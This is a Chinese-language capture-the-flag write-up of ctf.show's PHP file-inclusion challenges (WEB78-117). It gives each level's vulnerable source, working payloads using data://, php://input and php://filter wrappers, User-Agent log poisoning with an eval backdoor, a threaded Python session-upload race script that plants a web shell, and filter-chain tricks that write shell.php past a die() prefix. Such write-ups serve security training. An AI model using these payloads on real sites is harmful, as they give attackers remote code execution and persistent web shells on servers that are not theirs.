Ctf-Show-WEB文件包含专题
文件包含(WEB78-117)
WEB 78
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}
法1:
关键部分为include 这里的$file 可由get传参控制,由于没有过滤所以这里方法较多。
使用data协议可以很直观有条理的获得flag
?file=data://text/plain,<?php system('ls');?> 可以获取当前目录文件发现有一个flag.php
?file=data://text/plain,<?php system('tac flag.php');?> 即可读取flag.php的中的内容。
法2:
先尝试 ?file=…/…/flag.php 结果提示文件不能包含。
再尝试 ?file=flag.php 结果 就什么也不显示(至少包含文件 已经成功),说明,有flag.php
这时,可使用?file=php://filter/read=convert.base64-encode/resource=flag.php
这时,显示出来一段base64代码 进行解码后。发现其中一段:
$flag="ctfshow{6601f516-c571-468b-8c49-611a1f194f84}";
原来flag.php只是赋了一个值 ,怪不得包含以后,页面什么也不显示。
至此,已获得flag
WEB 79
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
方法1:
本关对传入的参数进行过滤,过滤掉了php但是不影响使用上一关的方法。经历过命令执行题目的折磨轻松可以绕过。
?file=data://text/plain,<?=system('ls');?> 可以获取当前目录文件发现有一个flag.php
?file=data://text/plain,<?=system('tac flag*');?> 即可读取flag.php的中的内容。
方法2:
增加了 str_replace 函数 将 “php” 替换为 “???”
法一:input协议 大小写绕过
payload:
POST /?file=Php://input HTTP/1.1
POST /?file=Php://input HTTP/1.1
<?Php system("cat flag.php");?>#仅需在请求行 大写即可
法二: data协议 + 利用php性质绕过
payload:
?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw== # <?php phpinfo(); ?file=data://text/plain,<?= `tac f*`;?>
?file=data://text/plain,<?Php echo `tac f*`;?> # 可以无 ;
法三:data协议 base64 加密 payload: /?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpOw== # <?php system('ls'); /?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs= # <?php system('cat flag.php');
$flag="ctfshow{215c725c-f7c4-4a46-ade0-9ca97ff4245f}";
WEB 80
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
法1:
本关过滤了php和data应该是不允许使用伪协议,但是可以正常包含,采用包含日志文件的方式。
日志文件中包含了 url以及ua信息等,这里ua最容易控制,抓包改ua,写入一句话即可。如下第三行
GET /?file=/var/log/nginx/access.log HTTP/1.1
Host: 4e9bb3c0-1021-427e-81a3-42e5e6e13c39.challenge.ctf.show
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0<?php eval($_GET[2]);?>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: UM_distinctid=17ffcdc88eb73a-022664ffe42c5b8-13676d4a-1fa400-17ffcdc88ec82c
Connection: close
可以直接命令执行即可也可以用webshell后门工具连接
?file=/var/log/nginx/access.log&2=system(‘ls /var/www/html’);phpinfo();
?file=/var/log/nginx/access.log&2=system(‘tac /var/www/html/fl0g.php’);phpinfo();
寻找PHPinfo信息前面的那一段信息即可找到
法2:
对于php 和data 已经被过滤掉了,所以都不能用, 但是用POST 的方法,还能用,为了不被过滤,php://input 改成PHP://input GET 方法改为POST方法 最后添加一行,内容是需要包含的php代码 。这里目的 是为了执行 第一次,执行为:
POST /?file=PHP://input HTTP/1.1
Host: c3eaec6b-ca02-47ac-9577-2d884543b828.challenge.ctf.show User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Content-Length: 39
#《? php system(‘ls *.php’);?》 (是小尖括号哦)
结果 显示 有2个文件 ,一是fl0g.php 另一个是index.php 再来一次,这次直接显示 fl0g.php
POST /?file=PHP://input HTTP/1.1
Host: c3eaec6b-ca02-47ac-9577-2d884543b828.challenge.ctf.show User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Content-Length: 39
#《?php system(‘tac fl0g.php’);?》 是小尖括号哦
这时可显示出fl0g.php 的内容 了。 有一行。 $flag=“ctfshow{13337e9c-4986-40c9-ae31-f44bcc68e9a1}”; 即获得flag
$flag="ctfshow{13337e9c-4986-40c9-ae31-f44bcc68e9a1}";
WEB 81
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
法1:
在php和data 还有php://input 失效的情况下 还可以有日志信息。 在url 后加入日志文件 url?file=/var/log/nginx/access.log
页面上直接包含了访问日志信息。 然后,加将其发送至repeater中, 第一次 将User-Agent的值 改为:《?php system(‘ls’);?》 (此处是小尖括号哦) 发送2次,将得到: 172.12.0.6 - - [04/Apr/2023:14:43:42 +0000] "GET / HTTP/1.1" 200 2741 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0" 172.12.0.6 - - [04/Apr/2023:14:43:42 +0000] "GET /favicon.ico HTTP/1.1" 200 2741 "http://1e5d2acb-dcfa-41e3-a2c4-a2fe27b7a53d.challenge.ctf.show/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0" 172.12.0.6 - - [04/Apr/2023:14:44:10 +0000] "GET /?file=/var/log/nginx/access.log HTTP/1.1" 200 399 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0" 172.12.0.6 - - [04/Apr/2023:14:46:07 +0000] "GET /?file=/var/log/nginx/access.log HTTP/1.1" 200 586 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0" 172.12.0.6 - - [04/Apr/2023:14:47:11 +0000] "GET / HTTP/1.1" 200 2741 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0" 172.12.0.6 - - [04/Apr/2023:14:48:17 +0000] "GET /?file=/var/log/nginx/access.log HTTP/1.1" 200 930 "-" "fl0g.php index.php
可以看到文件有两个,一为名为fl0g.php ,另一为index.php
将User-Agent的值 改为:《?php system(‘cat fl0g.php’);?》(此处是小尖括号哦) 也发送2次,将得到。
前面部分内容省略,和上面一样。
/* 。。。。。 */
$flag=“ctfshow{dd09afcc-9325-42d5-9079-e063e78d72b4}”;"
即得到flag
$flag="ctfshow{dd09afcc-9325-42d5-9079-e063e78d72b4}";"
WEB 82
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
法1:
https://www.freebuf.com/vuls/202819.html 这道题有点像wmctf的make php great again 利用session对话进行文件包含利用 https://blog.csdn.net/qq_46091464/article/details/108021053
法2:
条件竞争:https://www.freebuf.com/articles/web/275557.html session利用的小思路:https://xz.aliyun.com/t/10662
WEB 83
Warning: session_destroy(): Trying to destroy uninitialized session in /var/www/html/index.php on line 14
<?php
session_unset();
session_destroy();
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
法1:
来自于网上的强大 脚本
import requests
import io
import threading
url = 'http://6733cf0a-5d30-4a8d-b3bf-eddcef8aaa55.challenge.ctf.show/' # 改成自己的url
sessionid = 'truthahn' # 设置PHPSESSID为truthahn,使生成的临时文件名为sess_truthahn
cookies = {
'PHPSESSID':sessionid
}
def write(session): # write()函数用于写入session临时文件
fileBytes = io.BytesIO(b'a'*1024*50)
data2 = {
'PHP_SESSION_UPLOAD_PROGRESS':'<?=eval($_POST[1])?>' # 设置sess_truthahn临时文件的内容为<?=eval($_POST[1])?> 实现一句话
}
files = {
'file':('truthahn.jpg',fileBytes)
}
while True:
res = session.post(url,data=data2,cookies=cookies,files=files)
print(res.text)
print('======= write done! ======')
def read(session): # read()函数利用session临时文件生成一句话木马,实现rce
data1 = {
"1":"file_put_contents('/var/www/html/4.php','<?=eval($_POST[2]);?>');" # 使用file_put_contents()php内置函数生成名为3.php的shell文件
}
while True:
res = session.post(url+'?file=/tmp/sess_'+sessionid,data=data1,cookies=cookies)
print(res.text)
res2 = session.get(url+'4.php')
print(res2.text)
if res2.status_code == 200: #若3.php成功生成,则返回Done!,否则返回失败的状态码
print('++++++++ Done! +++++++++')
else:
print(res2.status_code)
if name == 'main':
event = threading.Event()
with requests.session() as session: # 为每个函数设置5个线程并发执行
for i in range(5):
print('*'*50)
threading.Thread(target=write,args=(session,)).start()
for i in range(5):
print('='*50)
threading.Thread(target=read,args=(session,)).start()
event.set()
执行后,打开 url/4.php 。并POST 上
第一次
2=system('ls');
第二次
2=system('tac fl0g.php');
获得flag
法2:
#poc.php
<!DOCTYPE html>
<html>
<body>
<form action="ip地址" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="2333" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
<?php
session_start();
?>
WEB 84
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
system("rm -rf /tmp/*");
include($file);
}else{
highlight_file(__FILE__);
}
法1:
待补充
法2:
#poc.php
<!DOCTYPE html>
<html>
<body>
<form action="ip地址" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="2333" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
<?php
session_start();
?>
WEB 85
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
if(file_exists($file)){
$content = file_get_contents($file);
if(strpos($content, "<")>0){
die("error");
}
include($file);
}
}else{
highlight_file(__FILE__);
}
法1:
待补充
法2:
#poc.php
<!DOCTYPE html>
<html>
<body>
<form action="ip地址" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="2333" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
<?php
session_start();
?>
WEB 86
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 21:20:43
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
define('还要秀?', dirname(__FILE__));
set_include_path(还要秀?);
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
法1:
待补充
法2:
#poc.php
<!DOCTYPE html>
<html>
<body>
<form action="ip地址" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="2333" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
<?php
session_start();
?>
WEB 87
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
}else{
highlight_file(__FILE__);
}
法1:
web87解法 详解 if(isset($_GET[‘file’])){ $file = $_GET[‘file’]; (当出现post的时候,主体跟着post走) $content = $_POST[‘content’]; (这里表明了是content参数,不是php://file那个的convert) $file = str_replace(“php”, “???”, $file); $file = str_replace(“data”, “???”, $file); $file = str_replace(“:”, “???”, $file); $file = str_replace(“.”, “???”,
f
i
l
e
)
;
f
i
l
e
p
u
t
c
o
n
t
e
n
t
s
(
u
r
l
d
e
c
o
d
e
(
file); file_put_contents(urldecode(
file);fileputcontents(urldecode(file), “”.$content); (二次url编码,因为第一次编码过去之后自动解码(中间件自动解码),但是他这里还要解码一次,因为写函数了) (content是写入内容,要进行base64编码 对应上面的伪协议解码,而base解码时,是4个一组,flag.php(要写入的文件),写入的内容中只有phpdie会参与base64解码,因为phpdie只有6个字节,补两个a就是8字节了)(aaPD9waHAgc3lzdGVtKCdscycpOz8+)aa是补给前面的 (结果就是phpdieaaPD9waHAgc3lzdGVtKCdscycpOz8+(四个一组)) }else{ highlight_file(FILE); }
注意不一定非要用base64 ?file=php://filter/write=string.rot13/resource=5.php string.rot13 :应用 ROT13 编码(字符替换算法)。(两次加密就会把原文弄出来) file_put_contents file_put_contents函数把一个字符串写入文件中。例如file_put_contents(“sites.txt”,“Runoob”);把run写入txt file_put_contents ( string $filename , mixed $data [, int $flags = 0 [, resource $context ]] )
“”.$content $str1 = “Hello”; $str2 = “World”; $newStr = $str1 . $str2; // 结果为 “HelloWorld”
Get和post对比
法2:
https://www.leavesongs.com/PENETRATION/php-filter-magic.html https://xz.aliyun.com/t/8163#toc-3 php://filter/write=string.rot13/resource=2.php
%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%2
5%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%
33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36
%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%3
3%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%
25%37%32%25%36%33%25%36%35%25%33%64%25%33%33%25%32%65%25%37%30%25%36%38%25%37%30
因为通过base64过滤之后就只有(phpdie)6个字符我们就要添加2个字符让前面的可以进行编码
法3:
常规的死亡exit,用二次编码绕过替换,我的构造方法是先手动编码一次,然后再次对%进行编码,构造出来:/?file=%2570%68%70%253a//filter/write=convert%252ebase64-decode/resource=shell%252e%70%2568%70
提交内容为 ------WebKitFormBoundaryxxjx0zR0LaGW5ZOW Content-Disposition: form-data; name=“content”
ppPD9waHAgcGhwaW5mbygpO2V2YWwoJF9HRVRbJ2NtZCddKTs/Pg== 这里的pp是加上去的,凑够两字符即可,但不能用=,因为=是结尾凑倍数的,开头不能用。
WEB 88
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
die("error");
}
include($file);
}else{
highlight_file(__FILE__);
}
法1:
发现过滤的还是比较多,但是没有过滤 : 那我们就可以使用PHP伪协议就是 这里使用的是 data://text/plain;base64,poc 其实和79差不多 只是注意的是编码成base64的时候要去掉 =
法2:
data://text/plain;base64,PD9waHAgZXZhbCgkX0dFVFsnY21kJ10pO3BocGluZm8oKTskX0dFVDs/PjEx&cmd=system(‘tac+fl0g.php’);
主要是data协议构造base64的时候必须要求不含=和+号,多试几次构造一下,在结尾?>后添加字符消除=
WEB 116
视频
法1:
搜索PNG找到89开头的那个,再搜索IEDN直到82结束,导出png,分析源码
发现file变量可以包含,直接尝试?file=/flag.php得到flag
WEB 117
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($x){
if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
die('too young too simple sometimes naive!');
}
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);
法1:
payload: file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php post:contents=?<hp pvela$(P_SO[T]1;)>?
法2:
正则没有过滤filter协议,仍然通过filter协议绕过死亡exit ?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=shell.php
post的contents内容 ?<hp pvela$(G_TE’[mc’d)]?;>> 多一个>是为了防止报错,>在标签外不解析
会生成shell.php,密码为cmd,可以拿到flag